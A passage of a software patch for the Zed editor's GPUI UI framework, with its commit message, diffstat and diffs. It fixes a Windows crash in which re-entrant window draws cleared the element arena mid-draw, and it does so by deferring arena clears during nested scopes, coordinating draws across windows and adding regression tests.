(`GlobalElementId`/`SharedString` Arcs) and heap metadata, crashing
later in innocent-looking frames — seen in the wild as
`EXCEPTION_ACCESS_VIOLATION_READ / 0xffffffffffffffff` in
`Frame::finish` and element allocation
([ZED-9QN](https://zed-dev.sentry.io/issues/7577818040/),
[ZED-7JC](https://sentry.io/organizations/zed-dev/issues/7465778926/),
[ZED-7C6](https://zed-dev.sentry.io/issues/7460258444/)), plus
occasional "attempted to dereference an ArenaRef after its Arena was
cleared" panics (ZED-96P, ZED-8XN), Windows-dominant and spanning
versions 1.1.7–1.8.2.

The fix makes the arena sound under nesting: `ElementArenaScope` tracks
a scope depth on the arena, and `Arena::clear()` is deferred while any
scope is active — the outermost draw's clear drops both draws'
allocations. Since arena chunks are stable heap blocks and allocation
only appends, nested allocation was already safe; the mid-draw clear was
the only destructive operation. Scopes are ended via a consuming
`exit(arena)` call that asserts arena identity (by pointer comparison,
never dereferencing), and `ArenaClearNeeded::clear(cx)` reaches the
arena through the App, so this bookkeeping contains no unsafe code
beyond what existed before. A panic that unwinds a draw balances the
scope depth in the guard's `Drop`, so later clears still run; only the
unwound draw's own clear token is never produced, leaving the arena
populated until the next draw's clear — a one-frame leak at worst, never
a use-after-free.

Additionally, draws are no longer run re-entrantly: GPUI's
`on_request_frame` callback skips requests that arrive while a draw is
already on the thread's stack (remembering `force_render` for the next
frame), and on Windows a `DrawCoordinator` owned by the platform and
shared with every window additionally guards the wider `draw_window`
span (presentation, IME updates). Deferred windows validate their update
region (so nested message pumps don't busy-loop on WM_PAINT) and are
repainted at most one vsync later by the vsync thread's existing
per-tick invalidation.

An integration test opens a window from within an element's paint;
without the deferred clear it reproduces the exact "ArenaRef after its
Arena was cleared" panic seen in the wild. Deferrals are logged so the
diagnosis can be confirmed from user logs.

Closes FR-110

Closes FR-114

Release Notes:

- Fixed a crash on Windows caused by re-entrant window drawing
corrupting UI element memory.
---
 crates/gpui/src/app.rs                        |   4 +-
 crates/gpui/src/app/test_app.rs               |   2 +-
 crates/gpui/src/app/test_context.rs           |   4 +-
 crates/gpui/src/arena.rs                      | 119 +++++++++-
 crates/gpui/src/elements/div.rs               |  14 +-
 crates/gpui/src/window.rs                     | 220 ++++++++++++++++--
 crates/gpui_windows/src/events.rs             |  66 +++++-
 crates/gpui_windows/src/platform.rs           |   7 +
 crates/gpui_windows/src/window.rs             |  24 +-
 crates/recent_projects/src/recent_projects.rs |   2 +-
 crates/workspace/src/workspace.rs             |   2 +-
 crates/zed/src/visual_test_runner.rs          |  14 +-
 crates/zed/src/zed.rs                         |   8 +-
 13 files changed, 422 insertions(+), 64 deletions(-)

diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index 857b792dd14931..65a5331142dbfd 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -1235,7 +1235,7 @@ impl App {
                     // on windows we quite frequently lose the race and return a window that has never rendered, which leads to a crash
                     // where DispatchTree::root_node_id asserts on empty nodes
                     let clear = window.draw(cx);
-                    clear.clear();
+                    clear.clear(cx);
 
                     cx.window_handles.insert(id, window.handle);
                     cx.windows.get_mut(id).unwrap().replace(Box::new(window));
@@ -1624,7 +1624,7 @@ impl App {
                     })
                     .collect::<Vec<_>>()
                 {
-                    self.update_window(window, |_, window, cx| window.draw(cx).clear())
+                    self.update_window(window, |_, window, cx| window.draw(cx).clear(cx))
                         .unwrap();
                 }
 
diff --git a/crates/gpui/src/app/test_app.rs b/crates/gpui/src/app/test_app.rs
index 268fa891b56328..d24186388373c0 100644
--- a/crates/gpui/src/app/test_app.rs
+++ b/crates/gpui/src/app/test_app.rs
@@ -486,7 +486,7 @@ impl<V: 'static + Render> TestAppWindow<V> {
         let mut app = self.app.borrow_mut();
         let any_handle: AnyWindowHandle = self.handle.into();
         app.update_window(any_handle, |_, window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         })
         .unwrap();
     }
diff --git a/crates/gpui/src/app/test_context.rs b/crates/gpui/src/app/test_context.rs
index 582e1ad8400df5..c80c259345d7f9 100644
--- a/crates/gpui/src/app/test_context.rs
+++ b/crates/gpui/src/app/test_context.rs
@@ -900,7 +900,7 @@ impl VisualTestContext {
         E: Element,
     {
         self.update(|window, cx| {
-            let _arena_scope = ElementArenaScope::enter(&cx.element_arena);
+            let arena_scope = ElementArenaScope::enter(&cx.element_arena);
 
             window.invalidator.set_phase(DrawPhase::Prepaint);
             let mut element = Drawable::new(f(window, cx));
@@ -914,7 +914,7 @@ impl VisualTestContext {
             window.refresh();
 
             drop(element);
-            cx.element_arena.borrow_mut().clear();
+            arena_scope.exit(&cx.element_arena).clear(cx);
 
             (request_layout_state, prepaint_state)
         })
diff --git a/crates/gpui/src/arena.rs b/crates/gpui/src/arena.rs
index 9898c8056ab024..2ba7a2f605d18c 100644
--- a/crates/gpui/src/arena.rs
+++ b/crates/gpui/src/arena.rs
@@ -53,11 +53,20 @@ impl Chunk {
     }
 
     fn allocate(&mut self, layout: alloc::Layout) -> Option<NonNull<u8>> {
-        let aligned = unsafe { self.offset.add(self.offset.align_offset(layout.align())) };
-        let next = unsafe { aligned.add(layout.size()) };
-
-        if next <= self.end {
-            self.offset = next;
+        // Compute the allocation bounds in integer address space so that the
+        // bounds check happens before any pointer offsetting. Offsetting a
+        // pointer past the end of its allocation is undefined behavior even if
+        // the result is never dereferenced (as happens on the chunk-spill
+        // path), so `ptr::add` cannot be used until we know the result stays
+        // in bounds. `checked_add` also handles the documented case where
+        // `align_offset` returns `usize::MAX`.
+        let base = self.offset.addr();
+        let aligned_addr = base.checked_add(self.offset.align_offset(layout.align()))?;
+        let next_addr = aligned_addr.checked_add(layout.size())?;
+
+        if next_addr <= self.end.addr() {
+            let aligned = self.offset.with_addr(aligned_addr);
+            self.offset = self.offset.with_addr(next_addr);
             NonNull::new(aligned)
         } else {
             None
@@ -75,11 +84,12 @@ pub struct Arena {
     valid: Rc<Cell<bool>>,
     current_chunk_index: usize,
     chunk_size: NonZeroUsize,
+    scope_depth: usize,
 }
 
 impl Drop for Arena {
     fn drop(&mut self) {
-        self.clear();
+        self.force_clear();
     }
 }
 
@@ -92,6 +102,7 @@ impl Arena {
             valid: Rc::new(Cell::new(true)),
             current_chunk_index: 0,
             chunk_size,
+            scope_depth: 0,
         }
     }
 
@@ -99,7 +110,44 @@ impl Arena {
         self.chunks.len() * self.chunk_size.get()
     }
 
+    /// Marks the start of a scope (e.g. a window draw) whose allocations must stay
+    /// live until the scope ends, even if `clear` is called by a nested scope in
+    /// the meantime.
+    pub fn begin_scope(&mut self) {
+        self.scope_depth += 1;
+    }
+
+    /// Ends the innermost scope started with `begin_scope`.
+    ///
+    /// Panics if no scope is active: an unbalanced `end_scope` would let `clear`
+    /// run while an enclosing scope still references arena memory, which is
+    /// exactly the use-after-free this bookkeeping exists to prevent, so failing
+    /// loudly here is preferable.
+    pub fn end_scope(&mut self) {
+        self.scope_depth = self
+            .scope_depth
+            .checked_sub(1)
+            .expect("Arena::end_scope called without a matching begin_scope");
+    }
+
+    /// Drops all allocations and resets the arena, unless a scope is still active.
+    ///
+    /// When a draw triggers a nested draw (e.g. re-entrant window procedure
+    /// invocations on Windows, or opening a window from within a draw), the nested
+    /// draw's clear must not free memory the outer draw still references, so it is
+    /// deferred: the outer draw's own clear will drop both draws' allocations.
     pub fn clear(&mut self) {
+        if self.scope_depth == 0 {
+            self.force_clear();
+        } else {
+            log::debug!(
+                "deferring arena clear; {} enclosing scope(s) still active",
+                self.scope_depth
+            );
+        }
+    }
+
+    fn force_clear(&mut self) {
         self.valid.set(false);
         self.valid = Rc::new(Cell::new(true));
         self.elements.clear();
@@ -286,4 +334,63 @@ mod tests {
         arena.clear();
         let _read_value = *value;
     }
+
+    #[test]
+    fn test_clear_deferred_while_scope_active() {
+        struct DropCounter(Rc<Cell<usize>>);
+        impl Drop for DropCounter {
+            fn drop(&mut self) {
+                self.0.set(self.0.get() + 1);
+            }
+        }
+
+        let drops = Rc::new(Cell::new(0));
+        let mut arena = Arena::new(1024);
+
+        // Outer draw starts and allocates.
+        arena.begin_scope();
+        let outer = arena.alloc(|| 42u64);
+        arena.alloc({
+            let drops = drops.clone();
+            || DropCounter(drops)
+        });
+
+        // Nested draw runs to completion and requests a clear.
+        arena.begin_scope();
+        let inner = arena.alloc(|| 7u64);
+        arena.alloc({
+            let drops = drops.clone();
+            || DropCounter(drops)
+        });
+        arena.end_scope();
+        arena.clear();
+
+        // The clear must be deferred: the outer draw's allocations are still live.
+        assert_eq!(*outer, 42);
+        assert_eq!(*inner, 7);
+        assert_eq!(drops.get(), 0);
+
+        // Once the outer draw finishes, its clear drops both draws' allocations.
+        arena.end_scope();
+        arena.clear();
+        assert_eq!(drops.get(), 2);
+    }
+
+    #[test]
+    fn test_clear_without_scope_is_immediate() {
+        let mut arena = Arena::new(1024);
+        let value = arena.alloc(|| 1u64);
+        assert_eq!(*value, 1);
+        arena.clear();
+        assert!(!value.valid.get());
+    }
+
+    #[test]
+    #[should_panic(expected = "Arena::end_scope called without a matching begin_scope")]
+    fn test_unbalanced_end_scope_panics() {
+        let mut arena = Arena::new(1024);
+        arena.begin_scope();
+        arena.end_scope();
+        arena.end_scope();
+    }
 }
diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index c02bd16b77e421..383d380636dad0 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -4186,7 +4186,7 @@ mod tests {
         });
         let window = AnyWindowHandle::from(window);
 
-        cx.update_window(window, |_, window, cx| window.draw(cx).clear())
+        cx.update_window(window, |_, window, cx| window.draw(cx).clear(cx))
             .unwrap();
         assert_eq!(anonymous_paint_count.get(), 0);
         assert_eq!(stateful_width.get(), px(10.));
@@ -4386,7 +4386,7 @@ mod tests {
 
         test_app
             .update_window(any_window, |_, window, cx| {
-                window.draw(cx).clear();
+                window.draw(cx).clear(cx);
             })
             .unwrap();
 
@@ -4406,7 +4406,7 @@ mod tests {
 
         test_app
             .update_window(any_window, |_, window, cx| {
-                window.draw(cx).clear();
+                window.draw(cx).clear(cx);
             })
             .unwrap();
 
@@ -4578,7 +4578,7 @@ mod tests {
 
         test_app
             .update_window(any_window, |_, window, cx| {
-                window.draw(cx).clear();
+                window.draw(cx).clear(cx);
             })
             .unwrap();
 
@@ -4595,7 +4595,7 @@ mod tests {
                 let _receiver =
                     window.prompt(crate::PromptLevel::Warning, "message", None, &["Ok"], cx);
                 assert!(window.has_active_prompt());
-                window.draw(cx).clear();
+                window.draw(cx).clear(cx);
             })
             .unwrap();
 
@@ -4693,7 +4693,7 @@ mod tests {
             .unwrap();
         cx.run_until_parked();
         cx.update_window(window, |_, window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         })
         .unwrap();
     }
@@ -4885,7 +4885,7 @@ mod tests {
                 }
             })
             .into();
-        cx.update_window(window, |_, window, cx| window.draw(cx).clear())
+        cx.update_window(window, |_, window, cx| window.draw(cx).clear(cx))
             .unwrap();
 
         // Focus the *second* group's container, then advance like Tab would.
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 8667d605a343e6..cab88b718b5acb 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -278,6 +278,20 @@ thread_local! {
     static CURRENT_ELEMENT_ARENA: Cell<Option<*const RefCell<Arena>>> = const { Cell::new(None) };
 }
 
+/// Whether a window draw is currently in progress on this thread.
+///
+/// This holds exactly while an `ElementArenaScope` is active: nested scopes
+/// restore the previous (still set) arena pointer, so `CURRENT_ELEMENT_ARENA`
+/// is `Some` from the outermost draw's start to its end.
+///
+/// The `on_request_frame` callback uses this to defer draw requests that
+/// arrive re-entrantly while a draw is already on the stack (e.g. via nested
+/// message pumping in the Windows window procedure), instead of running a
+/// nested draw or panicking on the already-borrowed App.
+fn draw_in_progress() -> bool {
+    CURRENT_ELEMENT_ARENA.with(|current| current.get().is_some())
+}
+
 /// Allocates an element in the current arena. Uses the app-specific arena if one
 /// is active (during draw), otherwise falls back to the thread-local ELEMENT_ARENA.
 pub(crate) fn with_element_arena<R>(f: impl FnOnce(&mut Arena) -> R) -> R {
@@ -293,52 +307,122 @@ pub(crate) fn with_element_arena<R>(f: impl FnOnce(&mut Arena) -> R) -> R {
     })
 }
 
-/// RAII guard that sets CURRENT_ELEMENT_ARENA for the duration of a draw operation.
-/// When dropped, restores the previous arena (supporting nested draws).
+/// Scope guard that sets CURRENT_ELEMENT_ARENA for the duration of a draw
+/// operation and tracks the arena's scope depth, so that a nested draw's
+/// `ArenaClearNeeded::clear` is deferred rather than freeing memory the outer
+/// draw still references (see `Arena::clear`).
+///
+/// Call [`ElementArenaScope::exit`] with the same arena that was entered to
+/// obtain the [`ArenaClearNeeded`] token the draw now owes; requiring `exit`
+/// makes it impossible to request a clear before the scope has ended. The
+/// scope's teardown — restoring the thread-local and balancing `begin_scope`
+/// with `end_scope` — happens in `Drop`, so the arena's scope depth stays
+/// balanced on every path, including when a panic unwinds a draw before `exit`
+/// is reached. (If teardown lived only in `exit`, such a panic would leave the
+/// scope depth permanently elevated and defer every future clear, leaking
+/// memory unboundedly.)
 pub(crate) struct ElementArenaScope {
+    /// The entered arena: compared against the argument in `exit`, and
+    /// dereferenced in `Drop` to end its scope (see the SAFETY note there).
+    entered: *const RefCell<Arena>,
     previous: Option<*const RefCell<Arena>>,
+    exited: bool,
 }
 
 impl ElementArenaScope {
     /// Enter a scope where element allocations use the given arena.
     pub(crate) fn enter(arena: &RefCell<Arena>) -> Self {
+        arena.borrow_mut().begin_scope();
         let previous = CURRENT_ELEMENT_ARENA.with(|current| {
             let prev = current.get();
             current.set(Some(arena as *const RefCell<Arena>));
             prev
         });
-        Self { previous }
+        Self {
+            entered: arena as *const RefCell<Arena>,
+            previous,
+            exited: false,
+        }
+    }
+
+    /// End the scope: restores the previously-current arena and ends the
+    /// arena's clear-deferral scope. Returns the token for the arena clear the
+    /// draw now owes; producing it here makes it impossible to request a clear
+    /// before the scope has ended (which would be silently deferred forever).
+    ///
+    /// Panics if passed a different arena than was entered: ending the scope
+    /// of the wrong arena would unbalance two arenas' scope depths, allowing
+    /// one of them to clear while a draw still references its memory.
+    pub(crate) fn exit(mut self, arena: &RefCell<Arena>) -> ArenaClearNeeded {
+        assert!(
+            std::ptr::eq(self.entered, arena),
+            "ElementArenaScope::exit called with a different arena than was entered"
+        );
+        self.exited = true;
+        // Teardown (restoring the thread-local and ending the arena's
+        // clear-deferral scope) runs in `Drop`, which fires both here — `self`
+        // is dropped as `exit` returns, before the token reaches the caller —
+        // and when a panic unwinds the draw before `exit` is reached.
+        ArenaClearNeeded::new(arena)
     }
 }
 
 impl Drop for ElementArenaScope {
     fn drop(&mut self) {
+        // Teardown lives here (rather than in `exit`) so it runs exactly once on
+        // every path: `exit` consumes and drops the guard on the normal path,
+        // and unwinding drops it on the panic path. Balancing `begin_scope` here
+        // keeps the arena's scope depth correct even when a draw panics; if this
+        // only happened in `exit`, a panic between `enter` and `exit` would leave
+        // the depth elevated and defer every future clear.
         CURRENT_ELEMENT_ARENA.with(|current| {
             current.set(self.previous);
         });
+        // SAFETY: `entered` came from a `&RefCell<Arena>` in `enter`, and the
+        // arena (owned by the `App` being drawn) outlives this guard on both the
+        // normal and unwinding paths, since the guard is a local of the draw.
+        unsafe { &*self.entered }.borrow_mut().end_scope();
+        if !self.exited && !std::thread::panicking() {
+            debug_assert!(false, "ElementArenaScope dropped without calling exit()");
+            log::error!(
+                "ElementArenaScope dropped without calling exit(); \
+                 the arena clear for this draw was never requested"
+            );
+        }
     }
 }
 
 /// Returned when the element arena has been used and so must be cleared before the next draw.
 #[must_use]
 pub struct ArenaClearNeeded {
+    /// Identity of the arena that was drawn into. Only ever compared against
+    /// another pointer in `clear`; never dereferenced.
     arena: *const RefCell<Arena>,
 }
 
 impl ArenaClearNeeded {
-    /// Create a new ArenaClearNeeded that will clear the given arena.
-    pub(crate) fn new(arena: &RefCell<Arena>) -> Self {
+    /// Create a new ArenaClearNeeded token for the App whose arena was drawn
+    /// into. Private: the only way to obtain one is [`ElementArenaScope::exit`].
+    fn new(arena: &RefCell<Arena>) -> Self {
         Self {
             arena: arena as *const RefCell<Arena>,
         }
     }
 
-    /// Clear the element arena.
-    pub fn clear(self) {
-        // SAFETY: The arena pointer is valid because ArenaClearNeeded is created
-        // at the end of draw() and must be cleared before the next draw.
-        let arena_cell = unsafe { &*self.arena };
-        arena_cell.borrow_mut().clear();
+    /// Clear the element arena of the App the draw ran against. If an enclosing
+    /// draw is still in progress (this draw was nested inside it), the clear is
+    /// deferred to the enclosing draw's own `ArenaClearNeeded` so that its live
+    /// allocations aren't freed.
+    ///
+    /// Panics if passed a different App than the draw ran against, since
+    /// clearing another App's arena could free memory its draws still
+    /// reference.
+    pub fn clear(self, cx: &mut App) {
+        assert!(
+            std::ptr::eq(self.arena, &cx.element_arena),
+            "ArenaClearNeeded::clear called with a different App than the draw ran against"
+        );
+        cx.element_arena.borrow_mut().clear();
     }
 }
 
@@ -1470,7 +1554,34 @@ impl Window {
             let needs_present = needs_present.clone();
             let next_frame_callbacks = next_frame_callbacks.clone();
             let input_rate_tracker = input_rate_tracker.clone();
+            let mut deferred_force_render = false;
             move |request_frame_options| {
+                // This must be checked before anything else: if this request
+                // arrived re-entrantly while a draw is on this thread's stack
+                // (e.g. via a nested message pump in the Windows window
+                // procedure), drawing would nest draws, and even touching the
+                // App would panic on its already-mutable borrow. Skip instead;
+                // the platform leaves the window invalidated (or re-invalidates
+                // it), so a fresh request arrives once the in-progress draw
+                // unwinds. Remember force_render so the deferred frame still
+                // bypasses the view cache.
+                //
+                // Returning here skips `complete_frame`, which on Wayland would
+                // stall the window's frame callbacks (no `surface.commit()`) —
+                // but calling it would hit the App borrow panic above, and this
+                // branch is unreachable there in practice: only Windows pumps
+                // platform events (and thus requests frames) mid-draw.
+                if draw_in_progress() {
+                    log::debug!("deferring re-entrant window draw request");
+                    deferred_force_render |= request_frame_options.force_render;
+                    return;
+                }
+                // Take the deferred flag first: `||` short-circuits, and leaving
+                // the flag set when this request already forces a render would
+                // force a second, redundant render on the next frame.
+                let force_render =
+                    mem::take(&mut deferred_force_render) || request_frame_options.force_render;
+
                 let thermal_state = handle
                     .update(&mut cx, |_, _, cx| cx.thermal_state())
                     .log_err();
@@ -1478,7 +1589,7 @@ impl Window {
                 // Throttle frame rate based on conditions:
                 // - Thermal pressure (Serious/Critical): cap to ~60fps
                 // - Inactive window (not focused): cap to ~30fps to save energy
-                let min_frame_interval = if !request_frame_options.force_render
+                let min_frame_interval = if !force_render
                     && !request_frame_options.require_presentation
                     && next_frame_callbacks.borrow().is_empty()
                 {
@@ -1496,6 +1607,8 @@ impl Window {
                     if let Some(last_frame) = last_frame_time.get()
                         && now.duration_since(last_frame) < min_interval
                     {
+                        // Don't lose a pending forced render to throttling.
+                        deferred_force_render |= force_render;
                         // Must still complete the frame on platforms that require it.
                         // On Wayland, `surface.frame()` was already called to request the
                         // next frame callback, so we must call `surface.commit()` (via
@@ -1526,18 +1639,18 @@ impl Window {
                     || needs_present.get()
                     || (active.get() && input_rate_tracker.borrow_mut().is_high_rate());
 
-                if invalidator.is_dirty() || request_frame_options.force_render {
+                if invalidator.is_dirty() || force_render {
                     measure("frame duration", || {
                         handle
                             .update(&mut cx, |_, window, cx| {
-                                if request_frame_options.force_render {
+                                if force_render {
                                     // Bypass cached view reuse so we don't replay stale
                                     // atlas tile references after a GPU device recovery.
                                     window.refresh();
                                 }
                                 let arena_clear_needed = window.draw(cx);
                                 window.present();
-                                arena_clear_needed.clear();
+                                arena_clear_needed.clear(cx);
                             })
                             .log_err();
                     })
@@ -2684,7 +2797,7 @@ impl Window {
 
         // Set up the per-App arena for element allocation during this draw.
         // This ensures that multiple test Apps have isolated arenas.
-        let _arena_scope = ElementArenaScope::enter(&cx.element_arena);
+        let arena_scope = ElementArenaScope::enter(&cx.element_arena);
 
         self.invalidate_entities();
         cx.entities.clear_accessed();
@@ -2798,7 +2911,9 @@ impl Window {
             });
         }
 
-        ArenaClearNeeded::new(&cx.element_arena)
+        // Exit the scope to obtain the arena-clear token this draw owes; the
+        // scope's teardown itself happens in `ElementArenaScope::drop`.
+        arena_scope.exit(&cx.element_arena)
     }
 
     fn record_entities_accessed(&mut self, cx: &mut App) {
@@ -4873,7 +4988,7 @@ impl Window {
 
     fn dispatch_key_event(&mut self, event: &dyn Any, cx: &mut App) {
         if self.invalidator.is_dirty() {
-            self.draw(cx).clear();
+            self.draw(cx).clear(cx);
         }
 
         let node_id = self.focus_node_id_in_rendered_frame(self.focus);
@@ -6487,12 +6602,71 @@ pub fn outline(
 
 #[cfg(test)]
 mod tests {
+    use std::{cell::Cell, rc::Rc};
+
     use crate::{
         AppContext as _, Bounds, Context, FocusHandle, InteractiveElement as _, IntoElement,
-        ParentElement as _, Pixels, Render, Styled as _, TestAppContext, Window, canvas, div, px,
-        size,
+        ParentElement, Pixels, Render, Styled, TestAppContext, Window, WindowOptions, canvas, div,
+        px, size,
     };
-    use std::{cell::Cell, rc::Rc};
+
+    struct EmptyView;
+
+    impl Render for EmptyView {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            div()
+        }
+    }
+
+    struct OpensWindowOnPaint {
+        opened: Rc<Cell<bool>>,
+    }
+
+    impl Render for OpensWindowOnPaint {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            let opened = self.opened.clone();
+            div()
+                .size_full()
+                .child(canvas(
+                    |_, _, _| {},
+                    move |_, _, _window, cx| {
+                        if !opened.replace(true) {
+                            cx.open_window(WindowOptions::default(), |_, cx| cx.new(|_| EmptyView))
+                                .unwrap();
+                        }
+                    },
+                ))
+                // Siblings painted after the canvas: their elements were
+                // allocated in the arena before the nested draw, so they detect
+                // a mid-draw arena clear when painted afterwards.
+                .child(div().child("after"))
+        }
+    }
+
+    /// Opening a window synchronously draws it and requests an element arena
+    /// clear. When that happens from within another window's draw (here: from
+    /// an element's paint), the clear must be deferred until the outer draw
+    /// finishes, or the outer draw's arena-allocated elements would be freed
+    /// out from under it.
+    #[test]
+    fn test_window_opened_during_draw_defers_arena_clear() {
+        let mut cx = TestAppContext::single();
+
+        let opened = Rc::new(Cell::new(false));
+        // add_window draws once, which runs the nested open_window mid-draw.
+        let window = cx.add_window({
+            let opened = opened.clone();
+            move |_, _| OpensWindowOnPaint { opened }
+        });
+
+        assert!(opened.get());
+        assert_eq!(cx.windows().len(), 2);
+
+        // The deferred clear must actually run once the outer draw unwinds:
+        // subsequent draws of both windows work against a fresh arena.
+        cx.update_window(window.into(), |_, window, cx| window.draw(cx).clear(cx))
+            .unwrap();
+    }
 
     struct RootView {
         explicit_size: bool,
@@ -6531,7 +6705,7 @@ mod tests {
 
         let viewport_size = cx
             .update_window(window.into(), |_, window, cx| {
-                window.draw(cx).clear();
+                window.draw(cx).clear(cx);
                 window.viewport_size()
             })
             .unwrap();
@@ -6552,7 +6726,7 @@ mod tests {
         });
 
         cx.update_window(window.into(), |_, window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         })
         .unwrap();
 
diff --git a/crates/gpui_windows/src/events.rs b/crates/gpui_windows/src/events.rs
index b293763bd9ede4..9f548722674715 100644
--- a/crates/gpui_windows/src/events.rs
+++ b/crates/gpui_windows/src/events.rs
@@ -1,4 +1,4 @@
-use std::{rc::Rc, sync::atomic::Ordering};
+use std::{cell::Cell, rc::Rc, sync::atomic::Ordering};
 
 use anyhow::Context as _;
 use gpui_util::ResultExt;
@@ -31,6 +31,52 @@ pub(crate) const WM_GPUI_KEYDOWN: u32 = WM_USER + 8;
 
 const SIZE_MOVE_LOOP_TIMER_ID: usize = 1;
 
+/// Coordinates window draws on the UI thread. Owned by the platform and
+/// shared with every window (like `WindowsPlatformState::cursor_visible`),
+/// because the coordination is inherently cross-window: while window A is
+/// drawing, a re-entrant paint request for window B must be deferred.
+pub(crate) struct DrawCoordinator {
+    /// Whether some window is currently inside `draw_window`. Win32 can
+    /// re-enter the window procedure while a draw is in progress (e.g.
+    /// cross-thread `SendMessage` dispatch during message pumping, or modal
+    /// message loops entered by COM calls), and drawing re-entrantly would
+    /// nest GPUI draws. Nested draws are wasted work whose output is
+    /// immediately redrawn, so we defer them instead.
+    drawing: Cell<bool>,
+}
+
+impl DrawCoordinator {
+    pub(crate) fn new() -> Self {
+        Self {
+            drawing: Cell::new(false),
+        }
+    }
+
+    fn try_begin_draw(&self) -> Option<DrawWindowGuard<'_>> {
+        // This only covers the `draw_window` span (which extends past the GPUI
+        // draw, through presentation and IME updates). Requests that arrive
+        // re-entrantly during GPUI-initiated draws (e.g. key dispatch or
+        // opening a window draws synchronously) are deferred by GPUI's
+        // `on_request_frame` callback itself, which no-ops in that case.
+        if self.drawing.get() {
+            None
+        } else {
+            self.drawing.set(true);
+            Some(DrawWindowGuard { coordinator: self })
+        }
+    }
+}
+
+struct DrawWindowGuard<'a> {
+    coordinator: &'a DrawCoordinator,
+}
+
+impl Drop for DrawWindowGuard<'_> {
+    fn drop(&mut self) {
+        self.coordinator.drawing.set(false);
+    }
+}
+
 impl WindowsWindowInner {
     pub(crate) fn handle_msg(
         self: &Rc<Self>,
@@ -1214,7 +1260,7 @@ impl WindowsWindowInner {
         // from the forced WM_GPUI_FORCE_UPDATE_WINDOW or a stray WM_PAINT in
         // between) is treated as a forced render so it both clears
         // `skip_draws` and bypasses the view cache.
-        self.state.force_render_after_recovery.set(true);
+        self.state.force_render_pending.set(true);
         Some(0)
     }
 
@@ -1225,6 +1271,20 @@ impl WindowsWindowInner {
 
     #[inline]
     fn draw_window(&self, handle: HWND, force_render: bool) -> Option<isize> {
+        let Some(_guard) = self.state.draw_coordinator.try_begin_draw() else {
+            log::debug!("deferring re-entrant draw of window {handle:?}");
+            if force_render {
+                self.state.force_render_pending.set(true);
+            }
+            // Validate the region so a nested message pump doesn't keep
+            // re-dispatching WM_PAINT for the still-invalid region in a busy
+            // loop until the in-progress draw unwinds. The vsync thread
+            // re-invalidates every window on each vsync (see
+            // `begin_vsync_thread`), so the deferred frame still gets drawn,
+            // at most one vsync late.
+            unsafe { ValidateRect(Some(handle), None).ok().log_err() };
+            return Some(0);
+        };
         let mut request_frame = self.state.callbacks.request_frame.take()?;
 
         self.state.direct_manipulation.update();
@@ -1239,7 +1299,7 @@ impl WindowsWindowInner {
             }
         }
 
-        let force_render = force_render || self.state.force_render_after_recovery.take();
+        let force_render = force_render || self.state.force_render_pending.take();
         if force_render {
             // Re-enable drawing after a device loss recovery. The forced render
             // will rebuild the scene with fresh atlas textures.
diff --git a/crates/gpui_windows/src/platform.rs b/crates/gpui_windows/src/platform.rs
index f8939e9e4c393f..d3bb150407e665 100644
--- a/crates/gpui_windows/src/platform.rs
+++ b/crates/gpui_windows/src/platform.rs
@@ -69,6 +69,9 @@ pub(crate) struct WindowsPlatformState {
     pub(crate) current_cursor: Cell<Option<HCURSOR>>,
     /// Shared with each window so `WM_SETCURSOR` can read it directly.
     pub(crate) cursor_visible: Arc<AtomicBool>,
+    /// Shared with each window to coordinate draws across windows on the UI
+    /// thread; see [`DrawCoordinator`].
+    pub(crate) draw_coordinator: Rc<DrawCoordinator>,
     directx_devices: RefCell<Option<DirectXDevices>>,
 }
 
@@ -95,6 +98,7 @@ impl WindowsPlatformState {
             jump_list: RefCell::new(jump_list),
             current_cursor: Cell::new(current_cursor),
             cursor_visible: Arc::new(AtomicBool::new(true)),
+            draw_coordinator: Rc::new(DrawCoordinator::new()),
             directx_devices: RefCell::new(directx_devices),
             menus: RefCell::new(Vec::new()),
         }
@@ -239,6 +243,7 @@ impl WindowsPlatform {
             disable_direct_composition: self.disable_direct_composition,
             directx_devices: self.inner.state.directx_devices.borrow().clone().unwrap(),
             invalidate_devices: self.invalidate_devices.clone(),
+            draw_coordinator: self.inner.state.draw_coordinator.clone(),
         }
     }
 
@@ -1132,6 +1137,8 @@ pub(crate) struct WindowCreationInfo {
     /// Flag to instruct the `VSyncProvider` thread to invalidate the directx devices
     /// as resizing them has failed, causing us to have lost at least the render target.
     pub(crate) invalidate_devices: Arc<AtomicBool>,
+    /// Shared with [`WindowsPlatformState::draw_coordinator`] and every other window.
+    pub(crate) draw_coordinator: Rc<DrawCoordinator>,
 }
 
 struct PlatformWindowCreateContext {
diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index 49a935bafe42ed..a8ee1bbb139197 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -63,12 +63,14 @@ pub struct WindowsWindowState {
     pub direct_manipulation: DirectManipulationHandler,
 
     pub renderer: RefCell<DirectXRenderer>,
-    /// Set after a GPU device-lost recovery so the next `draw_window` call is
-    /// treated as a forced render. This guarantees the next frame both
-    /// re-enables drawing (via `mark_drawable`) and bypasses the GPUI view
-    /// cache, which would otherwise replay stale atlas tile references from
-    /// the previous frame and panic in `DirectXAtlasState::texture`.
-    pub force_render_after_recovery: Cell<bool>,
+    /// Set when the next `draw_window` call must be treated as a forced
+    /// render. Used after a GPU device-lost recovery, where the next frame
+    /// must both re-enable drawing (via `mark_drawable`) and bypass the GPUI
+    /// view cache (which would otherwise replay stale atlas tile references
+    /// from the previous frame and panic in `DirectXAtlasState::texture`),
+    /// and when a forced render was requested while another draw was in
+    /// progress and had to be deferred.
+    pub force_render_pending: Cell<bool>,
 
     pub click_state: ClickState,
     pub current_cursor: Cell<Option<HCURSOR>>,
@@ -80,6 +82,8 @@ pub struct WindowsWindowState {
